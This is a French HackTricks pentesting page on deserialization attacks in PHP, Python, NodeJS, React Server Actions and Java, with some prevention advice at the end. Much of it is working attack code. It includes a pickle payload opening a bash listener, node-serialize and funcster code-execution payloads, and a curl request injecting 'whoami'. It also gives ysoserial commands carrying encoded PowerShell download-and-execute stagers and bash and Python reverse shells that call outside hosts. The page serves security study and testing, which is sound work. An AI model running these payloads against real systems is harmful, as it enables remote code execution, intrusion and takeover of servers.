Deserialization
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Serialization est comprise comme la méthode de conversion d’un objet en un format pouvant être conservé, dans le but soit de stocker l’objet, soit de le transmettre dans le cadre d’un processus de communication. Cette technique est couramment employée pour s’assurer que l’objet peut être recréé ultérieurement, en maintenant sa structure et son état.
Deserialization, en revanche, est le processus qui contrecarre la Serialization. Il consiste à prendre des données structurées dans un format spécifique et à les reconstruire en un objet.
La Deserialization peut être dangereuse car elle permet potentiellement aux attaquants de manipuler les serialized data afin d’exécuter du code malveillant ou de provoquer un comportement inattendu dans l’application lors du processus de reconstruction de l’objet.
PHP
En PHP, des méthodes magiques spécifiques sont utilisées pendant les processus de serialization et de deserialization :
__sleep: Invocée lorsqu’un objet est en cours de serialisation. Cette méthode doit renvoyer un tableau des noms de toutes les propriétés de l’objet qui doivent être serialisées. Elle est souvent utilisée pour sauvegarder des données en attente ou effectuer des tâches de nettoyage similaires.__wakeup: Appelée lorsqu’un objet est en cours de deserialization. Elle est utilisée pour rétablir d’éventuelles connexions à une base de données perdues pendant la serialization et effectuer d’autres tâches de réinitialisation.__unserialize: Cette méthode est appelée à la place de__wakeup(si elle existe) lorsqu’un objet est en cours de deserialization. Elle offre un meilleur contrôle du processus de deserialization par rapport à__wakeup.__destruct: Cette méthode est appelée lorsqu’un objet est sur le point d’être détruit ou à la fin du script. Elle est généralement utilisée pour des tâches de nettoyage, comme fermer des descripteurs de fichiers ou des connexions à une base de données.__toString: Cette méthode permet de traiter un objet comme une chaîne. Elle peut être utilisée pour lire un fichier ou effectuer d’autres tâches basées sur les appels de fonctions qu’elle contient, fournissant ainsi une représentation textuelle de l’objet.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Si vous regardez les résultats, vous pouvez voir que les fonctions __wakeup et __destruct sont appelées lorsque l’objet est désérialisé. Notez que dans plusieurs tutoriels vous trouverez que la fonction __toString est appelée lorsqu’on tente d’imprimer un attribut, mais apparemment cela n’arrive plus.
Warning
La méthode
__unserialize(array $data)est appelée à la place de__wakeup()si elle est implémentée dans la classe. Elle vous permet de désérialiser l’objet en fournissant les données sérialisées sous forme de tableau. Vous pouvez utiliser cette méthode pour désérialiser des propriétés et effectuer les opérations nécessaires lors de la désérialisation.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
Vous pouvez lire un exemple PHP expliqué ici : https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ici https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ou ici https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Désérialisation + Autoload Classes
Vous pouvez abuser de la fonctionnalité PHP autoload pour charger des fichiers php arbitraires et plus encore :
PHP - Deserialization + Autoload Classes
Chaînes d’hydratation Laravel Livewire
Les synthesizers Livewire 3 peuvent être contraints à instancier des graphes de gadgets arbitraires (avec ou sans APP_KEY) afin d’atteindre des sinks Laravel Queueable/SerializableClosure :
Livewire Hydration Synthesizer Abuse
Sérialiser des valeurs référencées
Si, pour une raison quelconque, vous souhaitez sérialiser une valeur comme une référence vers une autre valeur sérialisée, vous pouvez :
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Prévenir l’injection d’objets PHP avec allowed_classes
[!INFO] La prise en charge du deuxième argument de
unserialize()(le tableau$options) a été ajoutée dans PHP 7.0. Sur les anciennes versions la fonction n’accepte que la chaîne sérialisée, rendant impossible la restriction des classes pouvant être instanciées.
unserialize() va instancier chaque classe qu’elle trouve dans le flux sérialisé sauf indication contraire. Depuis PHP 7, le comportement peut être restreint avec l’option allowed_classes :
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Si allowed_classes est omis ou que le code s’exécute sur PHP < 7.0, l’appel devient dangereux car un attaquant peut créer une payload qui abuse des magic methods telles que __wakeup() ou __destruct() pour obtenir Remote Code Execution (RCE).
Exemple réel : Everest Forms (WordPress) CVE-2025-52709
Le plugin WordPress Everest Forms ≤ 3.2.2 a tenté d’être défensif en utilisant un wrapper helper, mais a oublié les anciennes versions de PHP :
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
Sur des serveurs exécutant encore PHP ≤ 7.0, cette deuxième branche menait à un classique PHP Object Injection lorsque un administrateur ouvrait une soumission de formulaire malveillante. Un exploit payload minimal pourrait ressembler à :
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Dès que l’administrateur a consulté l’entrée, l’objet a été instancié et SomeClass::__destruct() a été exécuté, entraînant l’exécution de code arbitraire.
Points clés
- Passez toujours
['allowed_classes' => false](ou une liste blanche stricte) lors de l’appel àunserialize(). - Auditez les wrappers défensifs — ils oublient souvent les anciennes branches PHP.
- Mettre à niveau vers PHP ≥ 7.x seul n’est pas suffisant : l’option doit toujours être fournie explicitement.
PHPGGC (ysoserial for PHP)
PHPGGC peut vous aider à générer des payloads pour abuser des deserializations PHP.
Notez que dans plusieurs cas vous ne pourrez pas trouver de moyen d’abuser une deserialization dans le code source de l’application, mais vous pourrez abuser le code d’extensions PHP externes.
Donc, si possible, vérifiez le phpinfo() du serveur et cherchez sur Internet (et même parmi les gadgets de PHPGGC) d’éventuels gadgets que vous pourriez abuser.
phar:// metadata deserialization
Si vous avez trouvé un LFI qui se contente de lire le fichier et ne pas exécuter le code php à l’intérieur, par exemple en utilisant des fonctions comme file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Vous pouvez tenter d’abuser d’une deserialization se produisant lors de la lecture d’un fichier via le protocole phar.
Pour plus d’informations lisez le post suivant :
Python
Pickle
Lorsque l’objet est unpickle, la fonction ___reduce___ sera exécutée.
En cas d’exploitation, le serveur pourrait renvoyer une erreur.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Avant de vérifier la bypass technique, essayez d’utiliser print(base64.b64encode(pickle.dumps(P(),2))) pour générer un objet compatible avec python2 si vous exécutez python3.
Pour plus d’informations sur l’évasion des pickle jails consultez :
Yaml & jsonpickle
La page suivante présente la technique pour abuser d’une unsafe deserialization dans les yamls des bibliothèques python et se termine par un outil qui peut être utilisé pour générer des payloads de désérialisation RCE pour Pickle, PyYAML, jsonpickle et ruamel.yaml :
Class Pollution (Python Prototype Pollution)
Class Pollution (Python’s Prototype Pollution)
NodeJS
JS Magic Functions
JS doesn’t have “magic” functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON.
Si, en abusant d’une désérialisation, vous pouvez compromettre ces fonctions pour exécuter d’autres codes (potentiellement en abusant de prototype pollutions), vous pourriez exécuter du code arbitraire lorsqu’elles sont appelées.
Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Follow this link for more info.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
Si vous voulez en savoir plus sur cette technique consultez le tutoriel suivant :
NodeJS - proto & prototype Pollution
node-serialize
Cette bibliothèque permet de sérialiser des fonctions. Exemple:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
L’objet sérialisé ressemblera à :
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Vous pouvez voir dans l’exemple que lorsqu’une fonction est sérialisée le flag _$$ND_FUNC$$_ est ajouté à l’objet sérialisé.
Dans le fichier node-serialize/lib/serialize.js vous pouvez trouver le même flag et voir comment le code l’utilise.
.png)
.png)
Comme vous pouvez le voir dans le dernier extrait de code, si le flag est trouvé eval est utilisé pour désérialiser la fonction, donc en pratique des données fournies par l’utilisateur sont utilisées à l’intérieur de la fonction eval.
Cependant, simplement sérialiser une fonction ne l’exécutera pas car il faudrait qu’une partie du code appelle y.rce dans notre exemple, ce qui est hautement improbable.
Quoi qu’il en soit, vous pouvez simplement modifier l’objet sérialisé en ajoutant des parenthèses afin d’exécuter automatiquement la fonction sérialisée lors de la désérialisation.
Dans le morceau de code suivant remarquez la dernière parenthèse et comment la fonction unserialize exécutera automatiquement le code :
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Comme indiqué précédemment, cette bibliothèque récupérera le code après _$$ND_FUNC$$_ et l’exécutera en utilisant eval. Par conséquent, afin de auto-exécuter du code, vous pouvez supprimer la partie de création de fonction et la dernière parenthèse, puis exécuter simplement un oneliner JS comme dans l’exemple suivant :
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
Vous pouvez find here plus d’informations sur la façon d’exploiter cette vulnérabilité.
funcster
Un aspect notable de funcster est l’inaccessibilité des objets intégrés standard ; ils se trouvent en dehors de la portée accessible. Cette restriction empêche l’exécution de code qui tente d’appeler des méthodes sur ces objets intégrés, entraînant des exceptions telles que “ReferenceError: console is not defined” lorsque des commandes comme console.log() ou require(something) sont utilisées.
Malgré cette limitation, il est possible de restaurer un accès complet au contexte global, y compris à tous les objets intégrés standard, grâce à une approche spécifique. En exploitant directement le contexte global, on peut contourner cette restriction. Par exemple, l’accès peut être rétabli en utilisant l’extrait de code suivant :
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Pour plus d’informations, lisez cette source.
serialize-javascript
Le package serialize-javascript est conçu exclusivement pour des opérations de sérialisation et ne dispose d’aucune capacité de désérialisation intégrée. Les utilisateurs sont responsables d’implémenter leur propre méthode de désérialisation. L’exemple officiel suggère l’utilisation directe de eval pour désérialiser des données sérialisées :
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Si cette fonction est utilisée pour désérialiser des objets, vous pouvez l’exploiter facilement:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Pour more information read this source.
Bibliothèque Cryo
Dans les pages suivantes, vous pouvez trouver des informations sur la façon d’abuser de cette bibliothèque pour exécuter des commandes arbitraires :
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
React Server Components / react-server-dom-webpack Abus des Server Actions (CVE-2025-55182)
React Server Components (RSC) s’appuient sur react-server-dom-webpack (RSDW) pour décoder les soumissions de server actions envoyées comme multipart/form-data. Chaque soumission d’action contient :
- des parties
$ACTION_REF_<n>qui référencent l’action invoquée. - des parties
$ACTION_<n>:<m>dont le corps est du JSON tel que{"id":"module-path#export","bound":[arg0,arg1,...]}.
Dans la version 19.2.0, le helper decodeAction(formData, serverManifest) fait aveuglément confiance à la fois à la chaîne id (sélectionnant quel export du module appeler) et au tableau bound (les arguments). Si un attaquant peut atteindre le point de terminaison qui transfère les requêtes à decodeAction, il peut invoquer n’importe quelle server action exportée avec des paramètres contrôlés par l’attaquant, même sans front-end React (CVE-2025-55182). La recette de bout en bout est :
- Learn the action identifier. La sortie du bundle, les traces d’erreur ou les manifests leaked révèlent typiquement des chaînes comme
app/server-actions#generateReport. - Recreate the multipart payload. Recréer la charge utile multipart : forger une partie
$ACTION_REF_0et un corps JSON$ACTION_0:0portant l’identifiant et des arguments arbitraires. - Let
decodeActiondispatch it. Le helper résout le module depuisserverManifest, importe l’export et renvoie un callable que le serveur exécute immédiatement.
Exemple de payload ciblant /formaction :
POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--
Ou avec curl:
curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
Le tableau bound remplit directement les paramètres server-action. Dans le laboratoire vulnérable le gadget ressemble à :
const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);
async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}
Fournir format = "pdf & whoami" fait exécuter /bin/sh -c le générateur de rapport légitime puis whoami, les deux sorties étant renvoyées à l’intérieur de la réponse d’action JSON. Toute server action qui encapsule des primitives de système de fichiers, des drivers de base de données ou d’autres interpréteurs peut être abusée de la même manière dès que l’attaquant contrôle les données bound.
Un attaquant n’a jamais besoin d’un vrai client React — n’importe quel outil HTTP qui émet la forme multipart $ACTION_* peut appeler directement les server actions et chaîner la sortie JSON résultante dans une primitive RCE.
Java - HTTP
En Java, deserialization callbacks are executed during the process of deserialization. Cette exécution peut être exploitée par des attaquants qui conçoivent des payloads malveillants déclenchant ces callbacks, conduisant potentiellement à l’exécution d’actions nuisibles.
Fingerprints
White Box
Pour identifier d’éventuelles vulnérabilités de serialization dans la base de code, recherchez :
- Classes qui implémentent l’interface
Serializable. - Utilisation de
java.io.ObjectInputStream, des fonctionsreadObject,readUnshare.
Faites particulièrement attention à :
XMLDecoderutilisé avec des paramètres définis par des utilisateurs externes.- La méthode
fromXMLdeXStream, surtout si la version de XStream est inférieure ou égale à 1.46, car elle est susceptible de poser des problèmes de serialization. ObjectInputStreamassocié à la méthodereadObject.- L’implémentation de méthodes telles que
readObject,readObjectNodData,readResolve, oureadExternal. ObjectInputStream.readUnshared.- L’utilisation générale de
Serializable.
Black Box
Pour les tests Black Box, recherchez des signatures ou “Magic Bytes” spécifiques qui indiquent des objets Java sérialisés (provenant de ObjectInputStream) :
- Motif hexadécimal :
AC ED 00 05. - Motif Base64 :
rO0. - En-têtes de réponse HTTP avec
Content-typedéfini surapplication/x-java-serialized-object. - Motif hexadécimal indiquant une compression préalable :
1F 8B 08 00. - Motif Base64 indiquant une compression préalable :
H4sIA. - Fichiers web avec l’extension
.faceset le paramètrefaces.ViewState. La découverte de ces motifs dans une application web devrait entraîner un examen comme détaillé dans le post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Vérifier si la cible est vulnérable
Si vous voulez comprendre comment fonctionne un Java Deserialized exploit, consultez Basic Java Deserialization, Java DNS Deserialization, et CommonsCollection1 Payload.
SignedObject-gated deserialization and pre-auth reachability
Les codebases modernes encapsulent parfois la deserialization avec java.security.SignedObject et valident une signature avant d’appeler getObject() (qui effectue la deserialization de l’objet interne). Cela empêche les gadget classes arbitraires de niveau supérieur mais peut rester exploitable si un attaquant obtient une signature valide (par ex., compromission de la clé privée ou un signing oracle). De plus, les flux de gestion d’erreurs peuvent générer des session-bound tokens pour des utilisateurs non authentifiés, exposant des sinks protégés pre-auth.
Pour une étude de cas concrète avec requests, IoCs, et des recommandations de durcissement, voir :
Java Signedobject Gated Deserialization
Test en boîte blanche
Vous pouvez vérifier s’il existe des applications installées présentant des vulnérabilités connues.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Vous pouvez essayer de vérifier toutes les bibliothèques connues comme vulnérables et pour lesquelles Ysoserial peut fournir un exploit. Ou vous pouvez vérifier les bibliothèques indiquées sur Java-Deserialization-Cheat-Sheet.
Vous pouvez aussi utiliser gadgetinspector pour rechercher d’éventuelles chaînes de gadgets exploitables.
Lorsque vous lancez gadgetinspector (après l’avoir compilé), ne vous préoccupez pas des dizaines d’avertissements/erreurs qu’il affiche et laissez-le terminer. Il écrira tous les résultats sous gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Veuillez noter que gadgetinspector ne crée pas d’exploit et peut indiquer des faux positifs.
Test boîte noire
En utilisant l’extension Burp gadgetprobe vous pouvez identifier quelles bibliothèques sont disponibles (et même leurs versions). Avec cette information, il peut être plus facile de choisir un payload pour exploiter la vulnérabilité.
Lisez ceci pour en savoir plus sur GadgetProbe.
GadgetProbe se concentre sur les désérialisations ObjectInputStream.
En utilisant l’extension Burp Java Deserialization Scanner vous pouvez identifier des bibliothèques vulnérables exploitables avec ysoserial et les exploiter.
Lisez ceci pour en savoir plus sur Java Deserialization Scanner.
Java Deserialization Scanner se concentre sur les désérialisations ObjectInputStream.
Vous pouvez aussi utiliser Freddy pour détecter des vulnérabilités de désérialisation dans Burp. Ce plugin détectera non seulement les vulnérabilités liées à ObjectInputStream, mais aussi celles provenant des bibliothèques de désérialisation Json et Yml. En mode actif, il tentera de les confirmer en utilisant des payloads sleep ou DNS.
Vous pouvez trouver plus d’informations sur Freddy ici.
Test de sérialisation
Il ne s’agit pas seulement de vérifier si le serveur utilise une bibliothèque vulnérable. Parfois, vous pouvez modifier les données à l’intérieur de l’objet sérialisé et contourner certaines vérifications (par exemple obtenir des privilèges admin dans une application web).
Si vous trouvez un objet java sérialisé envoyé à une application web, vous pouvez utiliser SerializationDumper pour afficher l’objet sérialisé envoyé dans un format plus lisible. Savoir quelles données vous envoyez facilite leur modification pour contourner certaines vérifications.
Exploitation
ysoserial
L’outil principal pour exploiter les désérialisations Java est ysoserial (download here). Vous pouvez aussi envisager d’utiliser ysoseral-modified qui vous permettra d’exécuter des commandes complexes (avec des pipes par exemple).
Notez que cet outil est axé sur l’exploitation des désérialisations ObjectInputStream.
Je recommande de commencer par utiliser le payload “URLDNS” avant un payload RCE pour tester si l’injection est possible. Quoi qu’il en soit, notez que le payload “URLDNS” peut ne pas fonctionner alors qu’un autre payload RCE fonctionnera.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Lors de la création d’un payload pour java.lang.Runtime.exec() vous ne pouvez pas utiliser de caractères spéciaux comme “>” ou “|” pour rediriger la sortie d’une exécution, “$()” pour exécuter des commandes ou même passer des arguments à une commande séparés par des espaces (vous pouvez faire echo -n "hello world" mais vous ne pouvez pas faire python2 -c 'print "Hello world"'). Pour encoder correctement le payload vous pourriez use this webpage.
Feel free to use the next script to create all the possible code execution payloads pour Windows et Linux et ensuite les tester sur la page web vulnérable :
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Vous pouvez utiliser https://github.com/pwntester/SerialKillerBypassGadgetCollection avec ysoserial pour créer davantage d’exploits. Plus d’informations sur cet outil dans les diapositives de la présentation où l’outil a été présenté : https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec peut être utilisé pour générer des payloads afin d’exploiter différentes bibliothèques de sérialisation Json et Yml en Java.
Pour compiler le projet, j’ai dû ajouter ces dépendances à pom.xml :
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Installez maven, et compilez le projet:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
En savoir plus sur cette bibliothèque Java JSON : https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- Si vous voulez tester des payloads ysoserial, vous pouvez exécuter cette webapp : https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Pourquoi
Java utilise beaucoup la sérialisation pour diverses finalités telles que :
- HTTP requests : La sérialisation est largement utilisée pour la gestion des paramètres, du ViewState, des cookies, etc.
- RMI (Remote Method Invocation) : Le protocole Java RMI, qui repose entièrement sur la sérialisation, est une pierre angulaire pour la communication distante dans les applications Java.
- RMI over HTTP : Cette méthode est couramment utilisée par les applications web à client lourd basées sur Java, utilisant la sérialisation pour toutes les communications d’objets.
- JMX (Java Management Extensions) : JMX utilise la sérialisation pour transmettre des objets sur le réseau.
- Custom Protocols : En Java, la pratique standard consiste à transmettre des objets Java bruts, ce qui sera démontré dans les exemples d’exploit à venir.
Prévention
Objets transient
Une classe qui implémente Serializable peut déclarer comme transient tout objet à l’intérieur de la classe qui ne doit pas être sérialisable. Par exemple:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Éviter la Serialization d’une classe qui doit implémenter Serializable
Dans des scénarios où certains objets doivent implémenter l’interface Serializable en raison de la hiérarchie de classes, il existe un risque de deserialization involontaire. Pour prévenir cela, assurez-vous que ces objets sont non-deserializable en définissant une méthode final readObject() qui lance systématiquement une exception, comme montré ci-dessous :
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Renforcer la sécurité de la désérialisation en Java
Personnaliser java.io.ObjectInputStream est une approche pratique pour sécuriser les processus de désérialisation. Cette méthode convient lorsque :
- Le code de désérialisation est sous votre contrôle.
- Les classes attendues pour la désérialisation sont connues.
Surchargez la méthode resolveClass() pour limiter la désérialisation aux seules classes autorisées. Cela empêche la désérialisation de toute classe autre que celles explicitement permises, comme dans l’exemple suivant qui restreint la désérialisation à la classe Bicycle.
